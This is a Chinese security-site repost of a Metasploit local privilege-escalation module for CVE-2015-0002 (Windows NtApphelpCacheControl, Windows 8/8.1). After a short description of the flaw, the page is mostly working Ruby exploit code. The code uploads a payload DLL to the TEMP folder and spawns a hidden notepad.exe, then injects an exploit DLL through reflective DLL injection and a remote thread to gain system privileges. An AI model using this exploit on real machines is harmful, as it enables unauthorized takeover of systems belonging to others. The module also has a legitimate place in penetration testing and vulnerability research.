首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows NtApphelpCacheControl Improper Authorization Check
来源:metasploit.com 作者:sinn3r 发布时间:2015-01-21  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'

class Metasploit3 < Msf::Exploit::Local
  Rank = NormalRanking

  include Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
      'Description'    => %q{
        On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
        allows application compatibility data to be cached for quick reuse when new processes are
        created. A normal user can query the cache but cannot add new cached entries as the
        operation is restricted to administrators. This is checked in the function
        AhcVerifyAdminContext.

        This function has a vulnerability where it doesn't correctly check the impersonation token
        of the caller to determine if the user is an administrator. It reads the caller's
        impersonation token using PsReferenceImpersonationToken and then does a comparison between
        the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
        of the token so it's possible to get an identify token on your thread from a local system
        process and bypass this check.

        This module currently only affects Windows 8 and Windows 8.1, and requires access to
        C:\Windows\System\ComputerDefaults.exe (although this can be improved).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Forshaw',
          'sinn3r'
        ],
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'Arch'           => [ARCH_X86, ARCH_X86_64],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'        =>
        [
          [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
        ],
      'DefaultTarget'  => 0,
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'CVE', '2015-0002' ],
          [ 'OSVEB', '116497' ],
          [ 'EDB', '35661' ],
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
        ],
      'DisclosureDate' => 'Sep 30 2014'
    }))
  end

  def temp
    @temp ||= get_env('TEMP').to_s
  end

  def payload_filepath
    @payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
  end

  def upload_payload_dll(payload_filepath)
    payload = generate_payload_dll({:dll_exitprocess => true})
    begin
      write_file(payload_filepath, payload)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(
          Failure::Unknown,
          "Error uploading file #{payload_filepath}: #{e.class} #{e}"
      )
    end
  end

  def upload_payload
    print_status("Payload DLL will be: #{payload_filepath}")

    # Upload the payload
    upload_payload_dll(payload_filepath)
    if !file?(payload_filepath)
      fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
    end
  end

  def inject_exploit(process)
    lib_file_path = ::File.join(
      Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
    )

    print_status("Creating thread")
    exploit_mem, offset = inject_dll_into_process(process, lib_file_path)
    var_mem = inject_into_process(process, payload_filepath)
    process.thread.create(exploit_mem + offset, var_mem)
  end

  def prep_exploit_host
    process = nil
    notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
    begin
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
    rescue Rex::Post::Meterpreter::RequestError
      process = client.sys.process.open
    rescue ::Exception => e
      elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}")
    end
    process
  end

  def check
    if sysinfo['OS'] =~ /Windows 8/
      # Still an 0day, but since this check doesn't actually trigger the vulnerability
      # so we should only flag this as CheckCode::Appears
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if session.platform !~ /^x86\//
      print_error("Sorry, this module currently only allows x86/win32 sessions.")
      print_error("You will have to get a x86/win32 session first, and then you can")
      print_error("select a x64 payload as this exploit's payload.")
      return
    end

    print_status("Uploading the payload DLL")
    upload_payload

    proc = prep_exploit_host
    if !proc
      fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)")
    end

    print_status("Injecting exploit into PID #{proc.pid}")
    inject_exploit(proc)
  end


end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OS X 10.9.5 IOKit IntelAcceler
·GetGo Download Manager HTTP Re
·OS X networkd "effective_audit
·Exif Pilot 4.7.2 Buffer Overfl
·OS X 10.10 IOKit IntelAccelera
·Symantec SDCS:SA / SCSP XSS /
·MalwareBytes Anti-Exploit 1.03
·Arris VAP2500 tools_command.ph
·ManageEngine Multiple Products
·Crystal Player 1.99 - Memory C
·Sim Editor 6.6 - Stack Based B
·Windows < 8.1 (32/64 bit) - Pr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved